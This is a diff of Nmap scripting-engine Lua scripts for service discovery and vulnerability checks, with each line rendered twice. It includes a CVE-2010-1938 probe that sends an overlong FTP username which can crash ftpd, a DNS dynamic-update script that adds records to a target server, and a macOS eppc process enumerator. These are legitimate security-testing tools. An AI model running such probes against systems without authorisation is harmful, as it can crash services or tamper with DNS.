status, err = dns.update( "www2.cqure.net", { host=host, port=port, dtype="A", data="", ttl=0 } ) status, err = dns.update( "www2.cqure.net", { host=host, port=port, dtype="A", data="", ttl=0 } )
if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end
status, err = dns.update( "alias.cqure.net", { host=host, port=port, dtype="CNAME", data="", ttl=0 } ) status, err = dns.update( "alias.cqure.net", { host=host, port=port, dtype="CNAME", data="", ttl=0 } )
if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end
status, err = dns.update( "cqure.net", { host=host, port=port, dtype="MX", data="", ttl=0 } ) status, err = dns.update( "cqure.net", { host=host, port=port, dtype="MX", data="", ttl=0 } )
if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end
status, err = dns.update( "_ldap._tcp.cqure.net", { host=host, port=port, dtype="SRV", data="", ttl=0 } ) status, err = dns.update( "_ldap._tcp.cqure.net", { host=host, port=port, dtype="SRV", data="", ttl=0 } )
if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end if ( status ) then stdnse.print_debug("SUCCESS") else stdnse.print_debug("FAIL: " .. (err or "")) end
end end
action = function(host, port) action = function(host, port)
local t = stdnse.get_script_args('dns-update.test') local t = stdnse.get_script_args('dns-update.test')
local name, ip = stdnse.get_script_args('dns-update.hostname', 'dns-update.ip') local name, ip = stdnse.get_script_args('dns-update.hostname', 'dns-update.ip')
if ( t ) then return test(host, port) end if ( t ) then return test(host, port) end
if ( not(name) or not(ip) ) then return end if ( not(name) or not(ip) ) then return end
-- we really need an ip or name to continue -- we really need an ip or name to continue
-- we could attempt a random name, but we need to know at least the name of the zone -- we could attempt a random name, but we need to know at least the name of the zone
local status, err = dns.update( name, { host=host, port=port, dtype="A", data=ip } ) local status, err = dns.update( name, { host=host, port=port, dtype="A", data=ip } )
if ( status ) then if ( status ) then
local result = {} local result = {}
table.insert(result, ("Successfully added the record \"%s\""):format(name)) table.insert(result, ("Successfully added the record \"%s\""):format(name))
local status = dns.update( name, { host=host, port=port, dtype="A", data="", ttl=0 } ) local status = dns.update( name, { host=host, port=port, dtype="A", data="", ttl=0 } )
if ( status ) then if ( status ) then
table.insert(result, ("Successfully deleted the record \"%s\""):format(name)) table.insert(result, ("Successfully deleted the record \"%s\""):format(name))
else else
table.insert(result, ("Failed to delete the record \"%s\""):format(name)) table.insert(result, ("Failed to delete the record \"%s\""):format(name))
end end
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
elseif ( err ) then elseif ( err ) then
return "\n ERROR: " .. err return "\n ERROR: " .. err
end end
end end

View File

@@ -30,31 +30,31 @@ hostrule = function(host) return not(ipOps.isPrivate(host.ip)) end
action = function(host) action = function(host)
local levels = { local levels = {
"Bulletproof hosted", "Bulletproof hosted",
"Hacked webserver", "Hacked webserver",
"Free hosting service", "Free hosting service",
"Unknown", "Unknown",
"Hosted on a FastFlux botnet" "Hosted on a FastFlux botnet"
} }
local dname = dns.reverse(host.ip) local dname = dns.reverse(host.ip)
dname = dname:gsub ("%.in%-addr%.arpa",".ipbl.zeustracker.abuse.ch") dname = dname:gsub ("%.in%-addr%.arpa",".ipbl.zeustracker.abuse.ch")
local status, result = dns.query(dname, {dtype='TXT', retAll=true} ) local status, result = dns.query(dname, {dtype='TXT', retAll=true} )
if ( not(status) and result == "No Such Name" ) then if ( not(status) and result == "No Such Name" ) then
return return
elseif ( not(status) ) then elseif ( not(status) ) then
return stdnse.format_output(false, "DNS Query failed") return stdnse.format_output(false, "DNS Query failed")
end end
local output = tab.new(9) local output = tab.new(9)
tab.addrow(output, "Name", "IP", "SBL", "ASN", "Country", "Status", "Level", tab.addrow(output, "Name", "IP", "SBL", "ASN", "Country", "Status", "Level",
"Files Online", "Date added") "Files Online", "Date added")
for _, record in ipairs(result) do for _, record in ipairs(result) do
local name, ip, sbl, asn, country, status, level, files_online, local name, ip, sbl, asn, country, status, level, files_online,
dateadded = table.unpack(stdnse.strsplit("| ", record)) dateadded = table.unpack(stdnse.strsplit("| ", record))
level = levels[tonumber(level)] or "Unknown" level = levels[tonumber(level)] or "Unknown"
tab.addrow(output, name, ip, sbl, asn, country, status, level, files_online, dateadded) tab.addrow(output, name, ip, sbl, asn, country, status, level, files_online, dateadded)
end end
return stdnse.format_output(true, tab.dump(output)) return stdnse.format_output(true, tab.dump(output))
end end

View File

@@ -30,28 +30,28 @@ portrule = shortport.port_or_service (4369, "epmd")
local NAMESREQ = 110 local NAMESREQ = 110
action = function(host, port) action = function(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local status, err = socket:connect(host.ip, port.number) local status, err = socket:connect(host.ip, port.number)
if not status then if not status then
return {} return {}
end end
local payload = bin.pack("C", NAMESREQ) local payload = bin.pack("C", NAMESREQ)
local probe = bin.pack(">SA", #payload, payload) local probe = bin.pack(">SA", #payload, payload)
socket:send(probe) socket:send(probe)
local status = true local status = true
local data = "" local data = ""
local tmp = "" local tmp = ""
while status do while status do
data = data .. tmp data = data .. tmp
status, tmp = socket:receive() status, tmp = socket:receive()
end end
local pos, realport = bin.unpack(">I", data) local pos, realport = bin.unpack(">I", data)
local nodestring = string.sub(data, pos, -2) local nodestring = string.sub(data, pos, -2)
local nodes = stdnse.strsplit("\n", nodestring) local nodes = stdnse.strsplit("\n", nodestring)
local response = {} local response = {}
table.insert(response, 'epmd running on port ' .. realport) table.insert(response, 'epmd running on port ' .. realport)
for _, node in ipairs(nodes) do for _, node in ipairs(nodes) do
table.insert(response, node) table.insert(response, node)
end end
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end

View File

@@ -40,64 +40,64 @@ portrule = shortport.port_or_service(3031, "eppc", "tcp", "open")
action = function( host, port ) action = function( host, port )
local socket = nmap.new_socket() local socket = nmap.new_socket()
socket:set_timeout(5000) socket:set_timeout(5000)
local try = nmap.new_try( local try = nmap.new_try(
function() function()
stdnse.print_debug("%s: failed", SCRIPT_NAME) stdnse.print_debug("%s: failed", SCRIPT_NAME)
socket:close() socket:close()
end end
) )
-- a list of application that may or may not be running on the target -- a list of application that may or may not be running on the target
local apps = { local apps = {
"Address Book", "Address Book",
"App Store", "App Store",
"Facetime", "Facetime",
"Finder", "Finder",
"Firefox", "Firefox",
"Google Chrome", "Google Chrome",
"iChat", "iChat",
"iPhoto", "iPhoto",
"Keychain Access", "Keychain Access",
"iTunes", "iTunes",
"Photo booth", "Photo booth",
"QuickTime Player", "QuickTime Player",
"Remote Buddy", "Remote Buddy",
"Safari", "Safari",
"Spotify", "Spotify",
"Terminal", "Terminal",
"TextMate", "TextMate",
"Transmission", "Transmission",
"VLC", "VLC",
"VLC media player", "VLC media player",
} }
local results = tab.new(3) local results = tab.new(3)
tab.addrow( results, "application", "uid", "pid" ) tab.addrow( results, "application", "uid", "pid" )
for _, app in ipairs(apps) do for _, app in ipairs(apps) do
try( socket:connect(host, port, "tcp") ) try( socket:connect(host, port, "tcp") )
local data local data
local packets = { local packets = {
"PPCT\0\0\0\1\0\0\0\1", "PPCT\0\0\0\1\0\0\0\1",
-- unfortunately I've found no packet specifications, so this has to do -- unfortunately I've found no packet specifications, so this has to do
bin.pack("HCpH", "e44c50525401e101", 225 + #app, app, "dfdbe302013ddfdfdfdfd500") bin.pack("HCpH", "e44c50525401e101", 225 + #app, app, "dfdbe302013ddfdfdfdfd500")
} }
for _, v in ipairs(packets) do for _, v in ipairs(packets) do
try( socket:send(v) ) try( socket:send(v) )
data = try( socket:receive() ) data = try( socket:receive() )
end end
local uid, pid = data:match("uid=(%d+)&pid=(%d+)") local uid, pid = data:match("uid=(%d+)&pid=(%d+)")
if ( uid and pid ) then tab.addrow( results, app, uid, pid ) end if ( uid and pid ) then tab.addrow( results, app, uid, pid ) end
try( socket:close() ) try( socket:close() )
end end
return "\n" .. tab.dump(results) return "\n" .. tab.dump(results)
end end

View File

@@ -30,8 +30,8 @@ categories = {"default", "discovery", "safe"}
portrule = shortport.port_or_service(79, "finger") portrule = shortport.port_or_service(79, "finger")
action = function(host, port) action = function(host, port)
local try = nmap.new_try() local try = nmap.new_try()
return try(comm.exchange(host, port, "\r\n", return try(comm.exchange(host, port, "\r\n",
{lines=100, proto=port.protocol, timeout=5000})) {lines=100, proto=port.protocol, timeout=5000}))
end end

View File

@@ -48,57 +48,57 @@ categories = { "default", "discovery", "safe", "version" }
portrule = shortport.version_port_or_service({2302}, "freelancer", "udp") portrule = shortport.version_port_or_service({2302}, "freelancer", "udp")
action = function(host, port) action = function(host, port)
local status, data = comm.exchange(host, port.number, local status, data = comm.exchange(host, port.number,
"\x00\x02\xf1\x26\x01\x26\xf0\x90\xa6\xf0\x26\x57\x4e\xac\xa0\xec\xf8\x68\xe4\x8d\x21", "\x00\x02\xf1\x26\x01\x26\xf0\x90\xa6\xf0\x26\x57\x4e\xac\xa0\xec\xf8\x68\xe4\x8d\x21",
{ proto = "udp", timeout = 3000 }) { proto = "udp", timeout = 3000 })
if not status then if not status then
return return
end end
-- port is open -- port is open
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
local passwordbyte, maxplayers, numplayers, name, pvpallow, newplayersallow, description = local passwordbyte, maxplayers, numplayers, name, pvpallow, newplayersallow, description =
string.match(data, "^\x00\x03\xf1\x26............(.)...(.)...(.)...................................................................(.*)\0\0(.):(.):.*:.*:.*:(.*)\0\0$") string.match(data, "^\x00\x03\xf1\x26............(.)...(.)...(.)...................................................................(.*)\0\0(.):(.):.*:.*:.*:(.*)\0\0$")
if not passwordbyte then if not passwordbyte then
return return
end end
local o = stdnse.output_table() local o = stdnse.output_table()
o["server name"] = string.gsub(name, "[^%g%s]", "") o["server name"] = string.gsub(name, "[^%g%s]", "")
o["server description"] = string.gsub(description, "[^%g%s]", "") o["server description"] = string.gsub(description, "[^%g%s]", "")
o["players"] = numplayers:byte(1) - 1 o["players"] = numplayers:byte(1) - 1
o["max. players"] = maxplayers:byte(1) - 1 o["max. players"] = maxplayers:byte(1) - 1
passwordbyte = passwordbyte:byte(1) passwordbyte = passwordbyte:byte(1)
if bit.band(passwordbyte, 128) ~= 0 then if bit.band(passwordbyte, 128) ~= 0 then
o["password"] = "yes" o["password"] = "yes"
else else
o["password"] = "no" o["password"] = "no"
end end
o["allow players to harm other players"] = "n/a" o["allow players to harm other players"] = "n/a"
if pvpallow == "1" then if pvpallow == "1" then
o["allow players to harm other players"] = "yes" o["allow players to harm other players"] = "yes"
elseif pvpallow == "0" then elseif pvpallow == "0" then
o["allow players to harm other players"] = "no" o["allow players to harm other players"] = "no"
end end
o["allow new players"] = "n/a" o["allow new players"] = "n/a"
if newplayersallow == "1" then if newplayersallow == "1" then
o["allow new players"] = "yes" o["allow new players"] = "yes"
elseif newplayersallow == "0" then elseif newplayersallow == "0" then
o["allow new players"] = "no" o["allow new players"] = "no"
end end
port.version.name = "freelancer" port.version.name = "freelancer"
port.version.name_confidence = 10 port.version.name_confidence = 10
port.version.product = "Freelancer" port.version.product = "Freelancer"
port.version.extrainfo = "name: " .. o["server name"] .. "; players: " .. port.version.extrainfo = "name: " .. o["server name"] .. "; players: " ..
o["players"] .. "/" .. o["max. players"] .. "; password: " .. o["password"] o["players"] .. "/" .. o["max. players"] .. "; password: " .. o["password"]
nmap.set_port_version(host, port, "hardmatched") nmap.set_port_version(host, port, "hardmatched")
return o return o
end end

View File

@@ -41,61 +41,61 @@ categories = {"vuln","intrusive"}
portrule = shortport.port_or_service(21, "ftp") portrule = shortport.port_or_service(21, "ftp")
action = function(host, port) action = function(host, port)
local opie_vuln = { local opie_vuln = {
title = "OPIE off-by-one stack overflow", title = "OPIE off-by-one stack overflow",
IDS = {CVE = 'CVE-2010-1938', OSVDB = '64949'}, IDS = {CVE = 'CVE-2010-1938', OSVDB = '64949'},
risk_factor = "High", risk_factor = "High",
scores = { scores = {
CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)", CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
}, },
description = [[ description = [[
An off-by-one error in OPIE library 2.4.1-test1 and earlier, allows remote An off-by-one error in OPIE library 2.4.1-test1 and earlier, allows remote
attackers to cause a denial of service or possibly execute arbitrary code attackers to cause a denial of service or possibly execute arbitrary code
via a long username.]], via a long username.]],
references = { references = {
'http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc', 'http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc',
'http://site.pi3.com.pl/adv/libopie-adv.txt', 'http://site.pi3.com.pl/adv/libopie-adv.txt',
}, },
dates = { dates = {
disclosure = {year = '2010', month = '05', day = '27'}, disclosure = {year = '2010', month = '05', day = '27'},
}, },
} }
local report = vulns.Report:new(SCRIPT_NAME, host, port) local report = vulns.Report:new(SCRIPT_NAME, host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local result local result
-- If we use more that 31 chars for username, ftpd will crash (quoted from the advisory). -- If we use more that 31 chars for username, ftpd will crash (quoted from the advisory).
local user_account = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" local user_account = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
local status = true local status = true
local err_catch = function() local err_catch = function()
socket:close() socket:close()
end end
local try = nmap.new_try(err_catch) local try = nmap.new_try(err_catch)
socket:set_timeout(10000) socket:set_timeout(10000)
try(socket:connect(host, port)) try(socket:connect(host, port))
-- First, try a safe User so that we are sure that everything is ok -- First, try a safe User so that we are sure that everything is ok
local payload = "USER opie\r\n" local payload = "USER opie\r\n"
try(socket:send(payload)) try(socket:send(payload))
status, result = socket:receive_lines(1); status, result = socket:receive_lines(1);
if status and not (string.match(result,"^421")) then if status and not (string.match(result,"^421")) then
-- Second, try the vulnerable user account -- Second, try the vulnerable user account
local payload = "USER " .. user_account .. "\r\n" local payload = "USER " .. user_account .. "\r\n"
try(socket:send(payload)) try(socket:send(payload))
status, result = socket:receive_lines(1); status, result = socket:receive_lines(1);
if status then if status then
opie_vuln.state = vulns.STATE.NOT_VULN opie_vuln.state = vulns.STATE.NOT_VULN
else else
-- if the server does not answer anymore we may have reached a stack overflow condition -- if the server does not answer anymore we may have reached a stack overflow condition
opie_vuln.state = vulns.STATE.LIKELY_VULN opie_vuln.state = vulns.STATE.LIKELY_VULN
end end
end end
return report:make_output(opie_vuln) return report:make_output(opie_vuln)
end end

View File

@@ -30,32 +30,32 @@ portrule = shortport.port_or_service( {2809,1050,1049} , "giop", "tcp", "open")
action = function(host, port) action = function(host, port)
local helper = giop.Helper:new( host, port ) local helper = giop.Helper:new( host, port )
local ctx, objs, status, err local ctx, objs, status, err
local result = {} local result = {}
status, err = helper:Connect() status, err = helper:Connect()
if ( not(status) ) then return err end if ( not(status) ) then return err end
status, ctx = helper:GetNamingContext() status, ctx = helper:GetNamingContext()
if ( not(status) ) then return " \n ERROR: " .. ctx end if ( not(status) ) then return " \n ERROR: " .. ctx end
status, objs = helper:ListObjects(ctx) status, objs = helper:ListObjects(ctx)
if ( not(status) ) then return " \n ERROR: " .. objs end if ( not(status) ) then return " \n ERROR: " .. objs end
for _, obj in ipairs( objs ) do for _, obj in ipairs( objs ) do
local tmp = "" local tmp = ""
if ( obj.enum == 0 ) then if ( obj.enum == 0 ) then
tmp = "Object: " tmp = "Object: "
elseif( obj.enum == 1 ) then elseif( obj.enum == 1 ) then
tmp = "Context: " tmp = "Context: "
else else
tmp = "Unknown: " tmp = "Unknown: "
end end
table.insert(result, tmp .. obj.id ) table.insert(result, tmp .. obj.id )
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -32,60 +32,60 @@ categories = {"default", "discovery", "safe"}
portrule = shortport.port_or_service (70, "gopher", {"tcp"}) portrule = shortport.port_or_service (70, "gopher", {"tcp"})
local function typelabel(gtype) local function typelabel(gtype)
if gtype == "0" then if gtype == "0" then
return "[txt]" return "[txt]"
end end
if gtype == "1" then if gtype == "1" then
return "[dir]" return "[dir]"
end end
return string.format("[%s]", gtype) return string.format("[%s]", gtype)
end end
action = function( host, port ) action = function( host, port )
local INFO = "i" local INFO = "i"
local maxfiles = stdnse.get_script_args(SCRIPT_NAME..".maxfiles") local maxfiles = stdnse.get_script_args(SCRIPT_NAME..".maxfiles")
if not maxfiles then if not maxfiles then
maxfiles = 10 maxfiles = 10
else else
maxfiles = tonumber(maxfiles) maxfiles = tonumber(maxfiles)
end end
if maxfiles < 1 then if maxfiles < 1 then
maxfiles = nil maxfiles = nil
end end
local socket = nmap.new_socket() local socket = nmap.new_socket()
local status, err = socket:connect(host.ip, port.number) local status, err = socket:connect(host.ip, port.number)
if not status then if not status then
return return
end end
socket:send("\r\n") socket:send("\r\n")
local buffer, _ = stdnse.make_buffer(socket, "\r\n") local buffer, _ = stdnse.make_buffer(socket, "\r\n")
local line = buffer() local line = buffer()
local files = {} local files = {}
while line ~= nil do while line ~= nil do
if #line > 1 then if #line > 1 then
local gtype = string.sub(line, 1, 1) local gtype = string.sub(line, 1, 1)
local fields = stdnse.strsplit("\t", string.sub(line, 2)) local fields = stdnse.strsplit("\t", string.sub(line, 2))
if #fields > 1 then if #fields > 1 then
local label = fields[1] local label = fields[1]
local filename = fields[2] local filename = fields[2]
if gtype ~= INFO then if gtype ~= INFO then
if maxfiles and #files >= maxfiles then if maxfiles and #files >= maxfiles then
table.insert(files, string.format('Only %d shown. Use --script-args %s.maxfiles=-1 to see all.', maxfiles, SCRIPT_NAME)) table.insert(files, string.format('Only %d shown. Use --script-args %s.maxfiles=-1 to see all.', maxfiles, SCRIPT_NAME))
break break
else else
table.insert(files, string.format('%s %s "%s"', typelabel(gtype), filename, label)) table.insert(files, string.format('%s %s "%s"', typelabel(gtype), filename, label))
end end
end end
end end
end end
line = buffer() line = buffer()
end end
return "\n" .. stdnse.strjoin("\n", files) return "\n" .. stdnse.strjoin("\n", files)
end end

View File

@@ -34,70 +34,70 @@ local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME ..
arg_timeout = arg_timeout or 10 arg_timeout = arg_timeout or 10
local function updateData(gpsinfo, entry) local function updateData(gpsinfo, entry)
for k, v in pairs(gpsinfo) do for k, v in pairs(gpsinfo) do
if ( entry[k] and 0 < #tostring(entry[k]) ) then if ( entry[k] and 0 < #tostring(entry[k]) ) then
gpsinfo[k] = entry[k] gpsinfo[k] = entry[k]
end end
end end
end end
local function hasAllData(gpsinfo) local function hasAllData(gpsinfo)
for k, v in pairs(gpsinfo) do for k, v in pairs(gpsinfo) do
if ( k ~= "speed" and v == '-' ) then if ( k ~= "speed" and v == '-' ) then
return false return false
end end
end end
return true return true
end end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function(host, port) action = function(host, port)
local gpsinfo = { local gpsinfo = {
longitude = "-", longitude = "-",
latitude = "-", latitude = "-",
speed = "-", speed = "-",
time = "-", time = "-",
date = "-", date = "-",
} }
local socket = nmap.new_socket() local socket = nmap.new_socket()
socket:set_timeout(1000) socket:set_timeout(1000)
local status = socket:connect(host, port) local status = socket:connect(host, port)
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to connect to server") return fail("Failed to connect to server")
end end
-- get the banner -- get the banner
local status, line = socket:receive_lines(1) local status, line = socket:receive_lines(1)
socket:send('?WATCH={"enable":true,"nmea":true}\r\n') socket:send('?WATCH={"enable":true,"nmea":true}\r\n')
local start_time = os.time() local start_time = os.time()
repeat repeat
local entry local entry
status, line = socket:receive_buf("\r\n", false) status, line = socket:receive_buf("\r\n", false)
if ( status ) then if ( status ) then
status, entry = gps.NMEA.parse(line) status, entry = gps.NMEA.parse(line)
if ( status ) then if ( status ) then
updateData(gpsinfo, entry) updateData(gpsinfo, entry)
end end
end end
until( os.time() - start_time > arg_timeout or hasAllData(gpsinfo) ) until( os.time() - start_time > arg_timeout or hasAllData(gpsinfo) )
socket:send('?WATCH={"enable":false}\r\n') socket:send('?WATCH={"enable":false}\r\n')
if ( not(hasAllData(gpsinfo)) ) then if ( not(hasAllData(gpsinfo)) ) then
return return
end end
local output = { local output = {
("Time of fix: %s"):format(stdnse.format_timestamp(gps.Util.convertTime(gpsinfo.date, gpsinfo.time))), ("Time of fix: %s"):format(stdnse.format_timestamp(gps.Util.convertTime(gpsinfo.date, gpsinfo.time))),
("Coordinates: %.4f,%.4f"):format(tonumber(gpsinfo.latitude), tonumber(gpsinfo.longitude)), ("Coordinates: %.4f,%.4f"):format(tonumber(gpsinfo.latitude), tonumber(gpsinfo.longitude)),
("Speed: %s knots"):format(gpsinfo.speed) ("Speed: %s knots"):format(gpsinfo.speed)
} }
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end

View File

@@ -34,30 +34,30 @@ categories = {"default", "discovery", "safe"}
portrule = function(host, port) portrule = function(host, port)
-- Run for the special port number, or for any HTTP-like service that is -- Run for the special port number, or for any HTTP-like service that is
-- not on a usual HTTP port. -- not on a usual HTTP port.
return shortport.port_or_service({50075}, "hadoop-datanode")(host, port) return shortport.port_or_service({50075}, "hadoop-datanode")(host, port)
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port)) or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
end end
action = function( host, port ) action = function( host, port )
local result = {} local result = {}
local uri = "/browseDirectory.jsp" local uri = "/browseDirectory.jsp"
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri ) local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%") local body = response['body']:gsub("%%","%%%%")
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body)) stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
if body:match("([^][\"]+)\">Log") then if body:match("([^][\"]+)\">Log") then
port.version.name = "hadoop-datanode" port.version.name = "hadoop-datanode"
port.version.product = "Apache Hadoop" port.version.product = "Apache Hadoop"
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
local logs = body:match("([^][\"]+)\">Log") local logs = body:match("([^][\"]+)\">Log")
stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs)) stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs))
table.insert(result, ("Logs: %s"):format(logs)) table.insert(result, ("Logs: %s"):format(logs))
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
end end

View File

@@ -38,45 +38,45 @@ categories = {"default", "discovery", "safe"}
portrule = function(host, port) portrule = function(host, port)
-- Run for the special port number, or for any HTTP-like service that is -- Run for the special port number, or for any HTTP-like service that is
-- not on a usual HTTP port. -- not on a usual HTTP port.
return shortport.port_or_service ({50060}, "hadoop-tasktracker")(host, port) return shortport.port_or_service ({50060}, "hadoop-tasktracker")(host, port)
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port)) or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
end end
action = function( host, port ) action = function( host, port )
local result = {} local result = {}
local uri = "/tasktracker.jsp" local uri = "/tasktracker.jsp"
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri ) local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%") local body = response['body']:gsub("%%","%%%%")
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body)) stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
if response['body']:match("Version:</b>%s*([^][<]+)") then if response['body']:match("Version:</b>%s*([^][<]+)") then
local version = response['body']:match("Version:</b>%s*([^][<]+)") local version = response['body']:match("Version:</b>%s*([^][<]+)")
local versionNo = version:match("([^][,]+)") local versionNo = version:match("([^][,]+)")
local versionHash = version:match("[^][,]+%s+(%w+)") local versionHash = version:match("[^][,]+%s+(%w+)")
stdnse.print_debug(1, ("%s: Version %s (%s)"):format(SCRIPT_NAME,versionNo,versionHash)) stdnse.print_debug(1, ("%s: Version %s (%s)"):format(SCRIPT_NAME,versionNo,versionHash))
table.insert(result, ("Version: %s (%s)"):format(versionNo,versionHash)) table.insert(result, ("Version: %s (%s)"):format(versionNo,versionHash))
port.version.version = version port.version.version = version
end end
if response['body']:match("Compiled:</b>%s*([^][<]+)") then if response['body']:match("Compiled:</b>%s*([^][<]+)") then
local compiled = response['body']:match("Compiled:</b>%s*([^][<]+)"):gsub("%s+", " ") local compiled = response['body']:match("Compiled:</b>%s*([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled)) stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
table.insert(result, ("Compiled: %s"):format(compiled)) table.insert(result, ("Compiled: %s"):format(compiled))
end end
if body:match("([^][\"]+)\">Log") then if body:match("([^][\"]+)\">Log") then
local logs = body:match("([^][\"]+)\">Log") local logs = body:match("([^][\"]+)\">Log")
stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs)) stdnse.print_debug(1, ("%s: Logs %s"):format(SCRIPT_NAME,logs))
table.insert(result, ("Logs: %s"):format(logs)) table.insert(result, ("Logs: %s"):format(logs))
end end
if #result > 0 then if #result > 0 then
port.version.name = "hadoop-tasktracker" port.version.name = "hadoop-tasktracker"
port.version.product = "Apache Hadoop" port.version.product = "Apache Hadoop"
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
end end

View File

@@ -43,58 +43,58 @@ categories = {"default", "discovery", "safe"}
portrule = function(host, port) portrule = function(host, port)
-- Run for the special port number, or for any HTTP-like service that is -- Run for the special port number, or for any HTTP-like service that is
-- not on a usual HTTP port. -- not on a usual HTTP port.
return shortport.port_or_service ({60030}, "hbase-region")(host, port) return shortport.port_or_service ({60030}, "hbase-region")(host, port)
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port)) or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
end end
action = function( host, port ) action = function( host, port )
local result = {} local result = {}
local region_servers = {} local region_servers = {}
-- uri was previously "/regionserver.jsp". See -- uri was previously "/regionserver.jsp". See
-- http://seclists.org/nmap-dev/2012/q3/903. -- http://seclists.org/nmap-dev/2012/q3/903.
local uri = "/rs-status" local uri = "/rs-status"
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri)) stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
local response = http.get( host, port, uri ) local response = http.get( host, port, uri )
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response")) stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
local body = response['body']:gsub("%%","%%%%") local body = response['body']:gsub("%%","%%%%")
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body)) stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
if body:match("HBase%s+Version</td><td>([^][<]+)") then if body:match("HBase%s+Version</td><td>([^][<]+)") then
local version = body:match("HBase%s+Version</td><td>([^][<]+)"):gsub("%s+", " ") local version = body:match("HBase%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
stdnse.print_debug(1, ("%s:Hbase Version %s"):format(SCRIPT_NAME,version)) stdnse.print_debug(1, ("%s:Hbase Version %s"):format(SCRIPT_NAME,version))
table.insert(result, ("Hbase Version: %s"):format(version)) table.insert(result, ("Hbase Version: %s"):format(version))
port.version.version = version port.version.version = version
